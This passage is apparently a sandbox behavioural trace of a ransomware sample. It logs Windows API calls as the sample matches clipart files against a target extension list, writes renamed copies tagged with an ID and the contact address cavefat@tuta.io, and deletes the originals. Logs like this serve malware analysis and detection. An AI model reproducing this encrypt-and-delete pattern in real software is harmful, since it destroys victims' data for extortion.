[0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.518] lstrlenW (lpString=".1cd") returned 4 [0169.518] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.518] lstrlenW (lpString=".jpg") returned 4 [0169.518] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.518] lstrlenW (lpString=".doc") returned 4 [0169.518] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.518] lstrlenW (lpString=".docx") returned 5 [0169.518] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0169.518] lstrlenW (lpString=".pdf") returned 4 [0169.518] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.518] lstrlenW (lpString=".xls") returned 4 [0169.518] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.518] lstrlenW (lpString=".xlsx") returned 5 [0169.518] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0169.518] lstrlenW (lpString=".ppt") returned 4 [0169.518] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.518] lstrlenW (lpString=".zip") returned 4 [0169.518] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.518] lstrlenW (lpString=".rar") returned 4 [0169.518] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.518] lstrlenW (lpString=".bz2") returned 4 [0169.518] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.518] lstrlenW (lpString=".7z") returned 3 [0169.518] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.518] lstrlenW (lpString=".dbf") returned 4 [0169.518] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.518] lstrlenW (lpString=".1cd") returned 4 [0169.518] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.518] lstrlenW (lpString=".jpg") returned 4 [0169.518] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.518] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0169.519] lstrlenW (lpString="J0178632.JPG") returned 12 [0169.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.521] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=23338) returned 1 [0169.521] CloseHandle (hObject=0x39c) returned 1 [0169.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg")) returned 0x220 [0169.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.539] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.539] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.545] GetLastError () returned 0x0 [0169.545] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5b2a, lpOverlapped=0x0) returned 1 [0169.547] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5b30, lpOverlapped=0x0) returned 1 [0169.548] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.548] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.548] SetEndOfFile (hFile=0x398) returned 1 [0169.551] CloseHandle (hObject=0x398) returned 1 [0169.552] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.552] SetEndOfFile (hFile=0x370) returned 1 [0169.559] CloseHandle (hObject=0x370) returned 1 [0169.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg")) returned 1 [0169.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.565] lstrlenW (lpString=".doc") returned 4 [0169.565] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.565] lstrlenW (lpString=".docx") returned 5 [0169.565] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0169.565] lstrlenW (lpString=".pdf") returned 4 [0169.565] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.565] lstrlenW (lpString=".xls") returned 4 [0169.565] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.565] lstrlenW (lpString=".xlsx") returned 5 [0169.565] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0169.565] lstrlenW (lpString=".ppt") returned 4 [0169.565] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.565] lstrlenW (lpString=".zip") returned 4 [0169.565] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.565] lstrlenW (lpString=".rar") returned 4 [0169.565] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.565] lstrlenW (lpString=".bz2") returned 4 [0169.565] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.565] lstrlenW (lpString=".7z") returned 3 [0169.565] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.565] lstrlenW (lpString=".dbf") returned 4 [0169.565] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.565] lstrlenW (lpString=".1cd") returned 4 [0169.565] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.565] lstrlenW (lpString=".jpg") returned 4 [0169.565] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.566] lstrlenW (lpString=".doc") returned 4 [0169.566] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.566] lstrlenW (lpString=".docx") returned 5 [0169.566] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0169.566] lstrlenW (lpString=".pdf") returned 4 [0169.566] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.566] lstrlenW (lpString=".xls") returned 4 [0169.566] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.566] lstrlenW (lpString=".xlsx") returned 5 [0169.566] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0169.566] lstrlenW (lpString=".ppt") returned 4 [0169.566] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.566] lstrlenW (lpString=".zip") returned 4 [0169.566] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.566] lstrlenW (lpString=".rar") returned 4 [0169.566] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.566] lstrlenW (lpString=".bz2") returned 4 [0169.566] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.566] lstrlenW (lpString=".7z") returned 3 [0169.566] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.566] lstrlenW (lpString=".dbf") returned 4 [0169.566] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.566] lstrlenW (lpString=".1cd") returned 4 [0169.566] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0169.566] lstrlenW (lpString=".jpg") returned 4 [0169.566] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.566] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0169.566] lstrlenW (lpString="J0179963.JPG") returned 12 [0169.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.577] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=32110) returned 1 [0169.577] CloseHandle (hObject=0x330) returned 1 [0169.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg")) returned 0x220 [0169.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.605] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.605] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0169.617] GetLastError () returned 0x0 [0169.617] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7d6e, lpOverlapped=0x0) returned 1 [0169.622] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7d70, lpOverlapped=0x0) returned 1 [0169.623] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.624] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.624] SetEndOfFile (hFile=0x378) returned 1 [0169.629] CloseHandle (hObject=0x378) returned 1 [0169.632] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.632] SetEndOfFile (hFile=0x368) returned 1 [0169.639] CloseHandle (hObject=0x368) returned 1 [0169.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg")) returned 1 [0169.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.648] lstrlenW (lpString=".doc") returned 4 [0169.648] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.648] lstrlenW (lpString=".docx") returned 5 [0169.648] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0169.648] lstrlenW (lpString=".pdf") returned 4 [0169.648] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.648] lstrlenW (lpString=".xls") returned 4 [0169.648] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.648] lstrlenW (lpString=".xlsx") returned 5 [0169.648] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0169.648] lstrlenW (lpString=".ppt") returned 4 [0169.648] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.648] lstrlenW (lpString=".zip") returned 4 [0169.648] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.648] lstrlenW (lpString=".rar") returned 4 [0169.648] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.648] lstrlenW (lpString=".bz2") returned 4 [0169.648] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.648] lstrlenW (lpString=".7z") returned 3 [0169.648] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.648] lstrlenW (lpString=".dbf") returned 4 [0169.648] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.648] lstrlenW (lpString=".1cd") returned 4 [0169.648] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.648] lstrlenW (lpString=".jpg") returned 4 [0169.648] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.649] lstrlenW (lpString=".doc") returned 4 [0169.649] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.649] lstrlenW (lpString=".docx") returned 5 [0169.649] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0169.649] lstrlenW (lpString=".pdf") returned 4 [0169.649] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.649] lstrlenW (lpString=".xls") returned 4 [0169.649] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.649] lstrlenW (lpString=".xlsx") returned 5 [0169.649] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0169.649] lstrlenW (lpString=".ppt") returned 4 [0169.649] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.649] lstrlenW (lpString=".zip") returned 4 [0169.649] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.649] lstrlenW (lpString=".rar") returned 4 [0169.649] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.649] lstrlenW (lpString=".bz2") returned 4 [0169.649] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.649] lstrlenW (lpString=".7z") returned 3 [0169.649] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.649] lstrlenW (lpString=".dbf") returned 4 [0169.649] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.649] lstrlenW (lpString=".1cd") returned 4 [0169.649] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0169.649] lstrlenW (lpString=".jpg") returned 4 [0169.649] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.649] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.649] lstrlenW (lpString="J0182902.WMF") returned 12 [0169.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.651] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7822) returned 1 [0169.651] CloseHandle (hObject=0x330) returned 1 [0169.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf")) returned 0x220 [0169.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.703] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.703] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.713] GetLastError () returned 0x0 [0169.713] ReadFile (in: hFile=0x354, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1e8e, lpOverlapped=0x0) returned 1 [0169.715] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1e90, lpOverlapped=0x0) returned 1 [0169.716] ReadFile (in: hFile=0x354, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.716] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.716] SetEndOfFile (hFile=0x39c) returned 1 [0169.721] CloseHandle (hObject=0x39c) returned 1 [0169.723] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.724] SetEndOfFile (hFile=0x354) returned 1 [0169.731] CloseHandle (hObject=0x354) returned 1 [0169.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf")) returned 1 [0169.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.741] lstrlenW (lpString=".doc") returned 4 [0169.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.741] lstrlenW (lpString=".docx") returned 5 [0169.741] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.741] lstrlenW (lpString=".pdf") returned 4 [0169.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.741] lstrlenW (lpString=".xls") returned 4 [0169.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.741] lstrlenW (lpString=".xlsx") returned 5 [0169.741] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.741] lstrlenW (lpString=".ppt") returned 4 [0169.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.741] lstrlenW (lpString=".zip") returned 4 [0169.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.741] lstrlenW (lpString=".rar") returned 4 [0169.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.741] lstrlenW (lpString=".bz2") returned 4 [0169.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString=".7z") returned 3 [0169.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.742] lstrlenW (lpString=".dbf") returned 4 [0169.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.742] lstrlenW (lpString=".1cd") returned 4 [0169.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.742] lstrlenW (lpString=".jpg") returned 4 [0169.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.742] 